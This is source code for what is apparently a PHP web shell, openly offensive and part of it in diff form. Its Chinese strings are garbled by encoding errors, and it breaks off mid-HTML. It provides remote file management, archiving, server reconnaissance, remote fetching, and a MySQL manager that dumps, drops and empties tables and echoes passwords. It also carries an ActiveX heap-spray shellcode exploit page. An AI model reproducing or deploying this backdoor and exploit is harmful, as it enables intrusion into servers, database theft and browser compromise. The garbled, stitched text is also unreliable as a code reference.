0).pack("V", 0).pack("V", 0); + + fwrite($this->fp,$datastr); //дµļ + $my_datastr_len = strlen($datastr); + unset($datastr); + + $dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00"; + $dirstr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) ); + $dirstr .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 ); + $dirstr .= pack("V", 16 ).pack("V",$this->datastr_len).$name; + + $this->dirstr .= $dirstr; //Ŀ¼Ϣ + + $this -> file_count ++; + $this -> dirstr_len += strlen($dirstr); + $this -> datastr_len += $my_datastr_len; + } + + + function createfile(){ + //ѹϢ,ļ,Ŀ¼ϢȡָλõϢ + $endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" . + pack('v', $this -> file_count) . + pack('v', $this -> file_count) . + pack('V', $this -> dirstr_len) . + pack('V', $this -> datastr_len) . + "\x00\x00"; + + fwrite($this->fp,$this->dirstr.$endstr); + fclose($this->fp); + } + } + +function File_Act($array,$actall,$inver,$REAL_DIR) +{ + if(($count = count($array)) == 0) return 'ѡļ'; + if($actall == 'e') + { + function listfiles($dir=".",$faisunZIP,$mydir){ + $sub_file_num = 0; + if(is_file($mydir."$dir")){ + if(realpath($faisunZIP ->gzfilename)!=realpath($mydir."$dir")){ + $faisunZIP -> addfile(file_get_contents($mydir.$dir),"$dir"); + return 1; + } + return 0; + } + + $handle=opendir($mydir."$dir"); + while ($file = readdir($handle)) { + if($file=="."||$file=="..")continue; + if(is_dir($mydir."$dir/$file")){ + $sub_file_num += listfiles("$dir/$file",$faisunZIP,$mydir); + } + else { + if(realpath($faisunZIP ->gzfilename)!=realpath($mydir."$dir/$file")){ + $faisunZIP -> addfile(file_get_contents($mydir.$dir."/".$file),"$dir/$file"); + $sub_file_num ++; + } + } + } + closedir($handle); + if(!$sub_file_num) $faisunZIP -> addfile("","$dir/"); + return $sub_file_num; + } + + function num_bitunit($num){ + $bitunit=array(' B',' KB',' MB',' GB'); + for($key=0;$key=pow(2,10*$key)-1){ //1023B ʾΪ 1KB + $num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]"; + } + } + return $num_bitunit_str; + } + + $mydir=$REAL_DIR.'/'; + if(is_array($array)){ + $faisunZIP = new PHPzip; + if($faisunZIP -> startfile("$inver")){ + $filenum = 0; + foreach($array as $file){ + $filenum += listfiles($file,$faisunZIP,$mydir); + } + $faisunZIP -> createfile(); + return "ѹ, $filenum ļ.
    $inver (".num_bitunit(filesize("$inver")).")"; + }else{ + return "$inver д,·ȨǷȷ.
    "; + } + }else{ + return "ûѡļĿ¼.
    "; + } + + + } + $i = 0; + while($i < $count) + { + $array[$i] = urldecode($array[$i]); + switch($actall) + { + case "a" : $inver = urldecode($inver); if(!is_dir($inver)) return '·'; $filename = array_pop(explode('/',$array[$i])); @copy($array[$i],File_Str($inver.'/'.$filename)); $msg = 'Ƶ'.$inver.'Ŀ¼'; break; + case "b" : if(!@unlink($array[$i])){@chmod($filename,0666);@unlink($array[$i]);} $msg = 'ɾ'; break; + case "c" : if(!eregi("^[0-7]{4}$",$inver)) return 'ֵ'; $newmode = base_convert($inver,8,10); @chmod($array[$i],$newmode); $msg = '޸Ϊ'.$inver; break; + case "d" : @touch($array[$i],strtotime($inver)); $msg = '޸ʱΪ'.$inver; break; + } + $i++; + } + return 'ѡļ'.$msg.''; +} + + function start_unzip($tmp_name,$new_name,$todir='zipfile'){ + $z = new Zip; + $have_zip_file=0; + $upfile = array("tmp_name"=>$tmp_name,"name"=>$new_name); + if(is_file($upfile[tmp_name])){ + $have_zip_file = 1; + echo "
    ڽѹ: $upfile[name]

    "; + if(preg_match('/\.zip$/mis',$upfile[name])){ + $result=$z->Extract($upfile[tmp_name],$todir); + if($result==-1){ + echo "
    ļ $upfile[name] .
    "; + } + echo "
    , $z->total_folders Ŀ¼,$z->total_files ļ.


    "; + }else{ + echo "
    $upfile[name] zip ļ.

    "; + } + if(realpath($upfile[name])!=realpath($upfile[tmp_name])){ + @unlink($upfile[name]); + rename($upfile[tmp_name],$upfile[name]); + } + } + } + +function muma($filecode,$filetype){ + $dim = array( + "php" => array("eval(","exec("), + "asp" => array("WScript.Shell","execute(","createtextfile("), + "aspx" => array("Response.Write(eval(","RunCMD(","CreateText()"), + "jsp" => array("runtime.exec(") + ); + foreach($dim[$filetype] as $code){ + if(stristr($filecode,$code)) return true; + } +} + +function debug($file,$ftype){ + $type=explode('|',$ftype); + foreach($type as $i){ + if(stristr($file,$i)) return true; + } +} + +/*---string---*/ + +function str_path($path){ + return str_replace('//','/',$path); +} + +function msg($msg){ + die(""); +} + +function uppath($nowpath){ + $nowpath = str_replace('\\','/',dirname($nowpath)); + return urlencode($nowpath); +} + +function xxstr($key){ + $temp = str_replace("\\\\","\\",$key); + $temp = str_replace("\\","\\\\",$temp); + return $temp; +} + +/*---html---*/ + +function html_ta($url,$name){ + html_n("$name"); +} + +function html_a($url,$name,$where=''){ + html_n("$name "); +} + +function html_img($url){ + html_n(""); +} + +function back(){ + html_n(""); +} + +function html_radio($namei,$namet,$v1,$v2){ + html_n(''.$namei); + html_n(''.$namet.'

    '); +} + +function html_input($type,$name,$value = '',$text = '',$size = '',$mode = false){ + if($mode){ + html_n("$text"); + }else{ + html_n("$text "); + } +} + +function html_text($name,$cols,$rows,$value = ''){ + html_n("

    "); +} + +function html_select($array,$mode = '',$change = '',$name = 'class'){ + html_n(""); +} + +function html_font($color,$size,$name){ + html_n("$name"); +} + +function GetHtml($url) +{ + $c = ''; + $useragent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)'; + if(function_exists('fsockopen')){ + $link = parse_url($url); + $query=$link['path'].'?'.$link['query']; + $host=strtolower($link['host']); + $port=$link['port']; + if($port==""){$port=80;} + $fp = fsockopen ($host,$port, $errno, $errstr, 10); + if ($fp) + { + $out = "GET /{$query} HTTP/1.0\r\n"; + $out .= "Host: {$host}\r\n"; + $out .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2)\r\n"; + $out .= "Connection: Close\r\n\r\n"; + fwrite($fp, $out); + $inheader=1; + while(!feof($fp)) + {$line=fgets($fp,4096); + if($inheader==0){$contents.=$line;} + if ($inheader &&($line=="\n"||$line=="\r\n")){$inheader = 0;} + } + fclose ($fp); + $c= $contents; + } + } + if(empty($c) && function_exists('curl_init') && function_exists('curl_exec')){ + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, $url); + curl_setopt($ch, CURLOPT_TIMEOUT, 15); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); + curl_setopt($ch, CURLOPT_USERAGENT, $useragent); + $c = curl_exec($ch); + curl_close($ch); + } + if(empty($c) && ini_get('allow_url_fopen')){ + $c = file_get_contents($url); + } + if(empty($c)){ + echo "document.write('
    ');"; + } + if(!empty($c)) + { + return $c; + } + } + +function html_main($path,$shellname){ +$serverip=gethostbyname($_SERVER['SERVER_NAME']); +print<<{$shellname} +
    {$serverip}
    +END; + html_n("
    "); +} + +function islogin($shellname,$myurl){ +print<<body,td{font-size: 12px;color:#00ff00;background-color:#000000;}input,select,textarea{font-size: 12px;background-color:#FFFFCC;border:1px solid #fff}.C{background-color:#000000;border:0px}.cmd{background-color:#000;color:#FFF}body{margin: 0px;margin-left:4px;}BODY {SCROLLBAR-FACE-COLOR: #232323; SCROLLBAR-HIGHLIGHT-COLOR: #232323; SCROLLBAR-SHADOW-COLOR: #383838; SCROLLBAR-DARKSHADOW-COLOR: #383838; SCROLLBAR-3DLIGHT-COLOR: #232323; SCROLLBAR-ARROW-COLOR: #FFFFFF;SCROLLBAR-TRACK-COLOR: #383838;}a{color:#ddd;text-decoration: none;}a:hover{color:red;background:#000}.am{color:#888;font-size:11px;} +

    {$shellname}




    ڷǷ;߸Ų
    +END; +} + +function html_sql(){ + html_input("text","sqlhost","localhost","
    MYSQLַ","30"); + html_input("text","sqlport","3306","
    MYSQL˿","30"); + html_input("text","sqluser","root","
    MYSQLû","30"); + html_input("password","sqlpass","","
    MYSQL","30"); + html_input("text","sqldb","dbname","
    MYSQL","30"); + html_input("submit","sqllogin","½","
    "); + html_n(''); +} + +function Mysql_Len($data,$len) +{ + if(strlen($data) < $len) return $data; + return substr_replace($data,'...',$len); +} + +function html_n($data){ + echo "$data\n"; +} + +/*---css---*/ + +function css_img($img){ + $images = array( + "exe"=> + "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". + "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". + "xhIAOw==", + "dir"=>"R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAA". + "AAAAAAAAAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdE". + "oMqCebp/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=", + "txt"=> + "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". + "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". + "UpPWG3Ig6Hq/XmRjuZwkAAA7", + "html"=> + "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". + "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". + "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". + "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". + "ADs=", + "js"=> + "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". + "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". + "a00AjYYBbc/o9HjNniUAADs=", + "xml"=> + "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". + "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". + "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". + "IQA7", + "mp3"=> + "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". + "aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". + "IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", + "img"=> + "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". + "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". + "FxEAOw==", + "title"=>"R0lGODlhDgAOAMQAAOGmGmZmZv//xVVVVeW6E+K2F/+ZAHNzcf+vAGdnaf/AAHt1af+". + "mAP/FAP61AHt4aXNza+WnFP//zAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "ACH5BAAHAP8ALAAAAAAOAA4AAAVJYPIcZGk+wUM0bOsWoyu35KzceO3sjsTvDR1P4uMFDw2EEkGUL". + "I8NhpTRnEKnVAkWaugaJN4uN0y+kr2M4CIycwEWg4VpfoCHAAA7", + "rar"=>"R0lGODlhEAAQAPf/AAAAAAAAgAAA/wCAAAD/AACAgIAAAIAAgP8A/4CAAP//AMDAwP///wAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/ACH5BAEKAP8ALAAAAAAQABAAAAiFAP0YEEhwoEE/". + "/xIuEJhgQYKDBxP+W2ig4cOCBCcyoHjAQMePHgf6WbDxgAIEKFOmHDmSwciQIDsiXLgwgZ+b". + "OHOSXJiz581/LRcE2LigqNGiLEkKWCCgqVOnM1naDOCHqtWbO336BLpzgAICYMOGRdgywIIC". + "aNOmRcjVj02tPxPCzfkvIAA7" + ); + header('Content-type: image/gif'); + echo base64_decode($images[$img]); + die(); +} + +function css_showimg($file){ + $it=substr($file,-3); + switch($it){ + case "jpg": case "gif": case "bmp": case "png": case "ico": return 'img';break; + case "htm": case "tml": return 'html';break; + case "exe": case "com": return 'exe';break; + case "xml": case "doc": return 'xml';break; + case ".js": case "vbs": return 'js';break; + case "mp3": case "wma": case "wav": case "swf": case ".rm": case "avi":case "mp4":case "mvb": return 'mp3';break; + case "rar": case "tar": case ".gz": case "zip":case "iso": return 'rar';break; + default: return 'txt';break; + } +} + +function css_js($num,$code = ''){ + if($num == "shellcode"){ + return '<%@ LANGUAGE="JavaScript" %> + <% + var act=new ActiveXObject("HanGamePluginCn18.HanGamePluginCn18.1"); + var shellcode = unescape("'.$code.'"); + var bigblock = unescape("%u9090%u9090"); + var headersize = 20; + var slackspace = headersize+shellcode.length; + while (bigblock.length'; + } + html_n(''); +} + +function css_left(){ + html_n(''); + html_n('
    $title:$contents
    "; +echo "\n"; +echo "\n". + "\n"; +echo "\n"; +echo "\n"; +echo "\n". + "\n
    \n"; +echo "
    $hsafemode
    \n"; +echo "
    "; +echo "IP Address: ".@gethostbyname($_SERVER["HTTP_HOST"])." ". + "You: ".$_SERVER["REMOTE_ADDR"]." ". + ($win?"Drives: ".disp_drives($d,$surl):""); +echo "
    \n
    \n"; +echo "\n"; +srv_info("Software","".$DISP_SERVER_SOFTWARE); +srv_info("Uname",php_uname()); +srv_info("User",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : dQ99exec("id")); +echo "
    \n"; +echo "\n"; +srv_info("Freespace",disp_freespace($d)); +echo "
    \n"; +echo get_status(); +echo "
    \n"; +echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."
    \n" : ""; +echo showdisfunc() ? "DisFunc: ".showdisfunc()."\n" : ""; +echo "
    "; +echo "

    \n"; +$pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1)); +$i = 0; +foreach($pd as $b) { + $t = ""; $j = 0; + foreach ($e as $r) { + $t.= $r.DIRECTORY_SEPARATOR; + if ($j == $i) { break; } + $j++; + } + echo "".htmlspecialchars($b).DIRECTORY_SEPARATOR."\n"; + $i++; +} +echo " - "; +if (is_writable($d)) { + $wd = TRUE; + $wdt = "[OK]"; + echo "".view_perms(fileperms($d)).""; +} +else { + $wd = FALSE; + $wdt = "[Read-Only]"; + echo "".view_perms_color($d).""; +} +echo "\n

    \n"; +?> +
    +
    +Directory: +
    +
    +
    +\n"; +if ($act == "") { $act = $dspact = "ls"; } +if ($act == "sql") { + $sql_surl = $surl."act=sql"; + if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);} + if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);} + if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);} + if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);} + if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);} + $sql_surl .= "&"; + echo "

    Attention! MySQL Manager is NOT a ready module! Don't reports bugs.

    ". + "". + ""; + if (!$sql_sock) { + echo ""; +} +echo "
    "; + if ($sql_server) { + $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd); + $err = mysql_smarterror(); + @mysql_select_db($sql_db,$sql_sock); + if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();} + } + else {$sql_sock = FALSE;} + echo ".: SQL Manager :.
    "; + if (!$sql_sock) { + if (!$sql_server) {echo "NO CONNECTION";} + else {echo "Can't connect! ".$err;} + } + else { + $sqlquicklaunch = array(); + $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"); + $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)); + $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus"); + $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars"); + $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes"); + $sqlquicklaunch[] = array("Logout",$surl."act=sql"); + echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")
    "; + if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + } + echo "
  • If login is null, login is owner of process.
  • If host is null, host is localhost
  • If port is null, port is 3306 (default)
  • "; + echo ""; + } + else { + //Start left panel + if (!empty($sql_db)) { + ?>
    Please, fill the form:
    UsernamePasswordDatabase
    HostPORT
    ">Home
    + ".htmlspecialchars($sql_db)." ]---
    "; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "".htmlspecialchars($row[0])." (".$count_row[0].")
    "; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else { + ?>
    Home
    +

    Please, select database
    +
    "; + //Start center panel + $diplay = TRUE; + if ($sql_db) { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "
    There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").
    "; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}} + echo "
    "; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") { + if ($sql_tbl_insert_radio == 1) { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") { + echo "
    "; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error:
    ".$sql_query_error."
    ";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "
    "; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "



    ";} + } + if (in_array($sql_act,$acts)) { + ?> +
    Create new table: +
    + + + + + + + + + +
    Dump DB: +
    + + + + + + ">
    + ";} + if ($sql_act == "newtbl") { + echo ""; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!
    "; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".
    Reason: ".mysql_smarterror();} + } + elseif ($sql_act == "dump") { + if (empty($submit)) { + $diplay = FALSE; + echo "
    SQL-Dump:

    "; + echo "DB:

    "; + $v = join (";",$dmptbls); + echo "Only tables (explode \";\") 1: 

    "; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "File: 

    "; + echo "Download:  

    "; + echo "Save to file:  "; + echo "



    1 - all, if empty"; + echo "
    "; + } + else { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else { + fwrite($fp,$ret); + fclose($fp); + echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")."; + } + } + else {echo "Dump: nothing to do!";} + } + } + if ($diplay) { + if (!empty($sql_tbl)) { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "
    Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)
    "; + echo "[ Structure ]   "; + echo "[ Browse ]   "; + echo "[ Dump ]   "; + echo "Insert ]   "; + if ($sql_tbl_act == "structure") {echo "

    Coming sooon!";} + if ($sql_tbl_act == "insert") { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) { } //Not Ready + else { + echo "

    Inserting row into table:
    "; + if (!empty($sql_tbl_insert_q)) { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("

    ".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "
    "; + foreach ($tbl_struct_fields as $field) { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo ""; + $i++; + } + echo "
    FieldTypeFunctionValue
    ".htmlspecialchars($name)."".$field["Type"]."

    "; + echo "Insert as new row"; + if (!empty($sql_tbl_insert_q)) {echo " or Save"; echo "";} + echo "

    "; + } + } + if ($sql_tbl_act == "browse") { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "
    "; + echo "\"Pages\" "; + $b = 0; + for($i=0;$i<$numpages;$i++) { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "
    ";} + else {echo " ";} + } + if ($i == 0) {echo "empty";} + echo "
    From:  To:  
    "; + echo "
